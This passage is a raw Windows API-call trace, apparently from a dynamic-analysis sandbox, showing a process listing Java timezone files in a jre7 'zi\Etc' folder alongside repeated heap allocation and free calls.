returned 1 [0088.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+1", cAlternateFileName="")) returned 1 [0088.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0028 [0088.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a498 [0088.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+10", cAlternateFileName="")) returned 1 [0088.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0048 [0088.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a520 [0088.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+11", cAlternateFileName="")) returned 1 [0088.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+12", cAlternateFileName="")) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+2", cAlternateFileName="")) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+3", cAlternateFileName="")) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+4", cAlternateFileName="")) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+5", cAlternateFileName="")) returned 1 [0088.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+6", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+7", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+8", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+9", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-1", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-10", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-11", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-12", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-13", cAlternateFileName="")) returned 1 [0088.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-14", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-2", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-3", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-4", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-5", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-6", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-7", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-8", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-9", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCT", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 1 [0088.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.754] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 0 [0088.754] GetLastError () returned 0x12 [0088.754] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.755] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+1", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+10", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+11", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+12", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+2", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+3", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+4", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+5", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, 